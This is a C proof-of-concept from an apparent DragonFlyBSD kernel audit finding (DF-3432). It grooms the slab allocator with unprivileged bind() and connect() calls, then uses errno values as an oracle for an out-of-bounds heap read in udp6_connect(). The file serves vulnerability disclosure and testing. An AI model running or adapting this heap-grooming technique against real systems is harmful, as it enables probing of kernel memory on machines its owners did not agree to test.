⬢ DragonFlyBSD Kernel Audit
DF-3432 / udp6_connect_oob.c
← back to finding ↓ download raw
/*
 * DF-3432 -- udp6_connect() reads sin6_p->sin6_addr BEFORE any sa_len
 *           validation (DF-3357/3372/3415 read-before-validate family,
 *           udp6_usrreq.c instance).
 *
 * Victim path (all unprivileged):
 *   connect(2) -> getsockaddr(): sa = kmalloc(len, M_SONAME)  [EXACT len,
 *                 len in [2..255]; user bytes cover 0..len-1]
 *   -> soconnect -> so_pru_connect -> (netisr0) udp6_connect()
 *        sys/netinet6/udp6_usrreq.c:596-600:
 *            sin6_p = (struct sockaddr_in6 *)nam;
 *            if (IN6_IS_ADDR_V4MAPPED(&sin6_p->sin6_addr)) {   <- OOB read
 *                    error = EADDRNOTAVAIL; goto out;           <- decided
 *            }
 *        ... in6_pcbconnect() is only reached at :608 -- AFTER this read;
 *        the first sa_len validation anywhere on this path is deep inside
 *        in6_pcbladdr() (in6_pcb.c:282, DF-3415's finding).
 *
 * IN6_IS_ADDR_V4MAPPED(a) tests (file offsets 8..19 of sockaddr_in6):
 *     bytes 8..11 == 0, 12..15 == 0, 16..19 == 00 00 ff ff
 *
 * Slab mechanics (sys/kern/kern_slaballoc.c): sizes 17..24 round to the
 * 24-byte chunk zone; kfree() only writes c_Next (bytes 0..7); bytes
 * 8..23 of a freed chunk survive.  bind(24) grooms the chunk, the very
 * next getsockaddr(17) reuses it (same syscall thread, LIFO), and its
 * bytes 17..19 are stale groom bytes lying OUTSIDE the 17-byte sockaddr
 * the user handed to connect().
 *
 * Oracle:
 *   A) groom bytes 17..19 = 00 ff ff -> v4-mapped pattern completes ->
 *      udp6_connect returns EADDRNOTAVAIL at udp6_usrreq.c:598 without
 *      ever reaching in6_pcbconnect()
 *   B) groom bytes 17..19 = 00 00 00 -> pattern broken -> falls through
 *      to in6_pcbconnect() -> in6_pcbladdr() finally validates sa_len
 *      -> EINVAL
 *   A/B differ ONLY in heap bytes past the user-copied length.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#define RUNS 20

static int do_round(unsigned char g17, unsigned char g18, unsigned char g19,
		    int groom)
{
	unsigned char sa24[24], sa17[17];
	int s, r;

	/* groom chunk: 24-byte sockaddr (17..24 share the 24-byte zone) */
	memset(sa24, 0, sizeof(sa24));
	sa24[0] = 24;
	sa24[1] = AF_INET6;
	sa24[17] = g17; sa24[18] = g18; sa24[19] = g19;

	/* trigger chunk: 17-byte sockaddr; user controls bytes 0..16 only */
	memset(sa17, 0, sizeof(sa17));
	sa17[0] = 17;
	sa17[1] = AF_INET6;		/* bytes 8..16 left 0x00 */

	s = socket(AF_INET6, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("socket");
		return -1;
	}
	if (groom) {
		/* rejected by in6_pcbbind (sa_len); the M_SONAME chunk is
		 * nevertheless allocated and freed in-thread -> groom */
		(void)bind(s, (struct sockaddr *)sa24, 24);
	}
	errno = 0;
	r = connect(s, (struct sockaddr *)sa17, 17);
	if (r == 0) {
		close(s);
		return 0;
	}
	close(s);
	return errno;
}

int main(void)
{
	int i, e;
	int a_mapped = 0, a_einval = 0, a_other = 0;
	int b_mapped = 0, b_einval = 0, b_other = 0;
	int c_mapped = 0, c_einval = 0, c_other = 0;

	printf("AF_INET6=%d SOCK_DGRAM=%d RUNS=%d\n", AF_INET6, SOCK_DGRAM, RUNS);
	printf("target: udp6_usrreq.c:596-600 reads sin6_addr (offsets 8..19)\n"
	       "before ANY sa_len check; bytes 17..19 come from the groomed\n"
	       "free chunk, outside the 17-byte connect(2) sockaddr.\n\n");

	for (i = 0; i < RUNS; i++) {
		e = do_round(0x00, 0xff, 0xff, 1);	/* mapped pattern */
		if (e == EADDRNOTAVAIL) a_mapped++;
		else if (e == EINVAL) a_einval++;
		else a_other++;
		if (i == 0) printf("A(groom 00 ff ff) first errno=%d (%s)\n",
				  e, e > 0 ? strerror(e) : "SUCCESS");

		e = do_round(0x00, 0x00, 0x00, 1);	/* pattern broken */
		if (e == EADDRNOTAVAIL) b_mapped++;
		else if (e == EINVAL) b_einval++;
		else b_other++;
		if (i == 0) printf("B(groom 00 00 00) first errno=%d (%s)\n",
				  e, e > 0 ? strerror(e) : "SUCCESS");

		e = do_round(0, 0, 0, 0);		/* no groom */
		if (e == EADDRNOTAVAIL) c_mapped++;
		else if (e == EINVAL) c_einval++;
		else c_other++;
		if (i == 0) printf("C(no groom)      first errno=%d (%s)\n",
				  e, e > 0 ? strerror(e) : "SUCCESS");
	}

	printf("\nsummary over %d rounds per variant:\n", RUNS);
	printf("  A groom 00 ff ff : EADDRNOTAVAIL=%d EINVAL=%d other=%d\n",
	       a_mapped, a_einval, a_other);
	printf("  B groom 00 00 00 : EADDRNOTAVAIL=%d EINVAL=%d other=%d\n",
	       b_mapped, b_einval, b_other);
	printf("  C no groom       : EADDRNOTAVAIL=%d EINVAL=%d other=%d\n",
	       c_mapped, c_einval, c_other);

	if (a_mapped > 0 && b_einval > 0 && a_mapped > b_mapped) {
		printf("\nRESULT: VULNERABLE -- udp6_connect()'s errno is "
		       "chosen by heap bytes OUTSIDE the supplied sockaddr "
		       "length (read at udp6_usrreq.c:597 before any "
		       "validation).\n");
		return 0;
	}
	printf("\nRESULT: no differential observed.\n");
	return 2;
}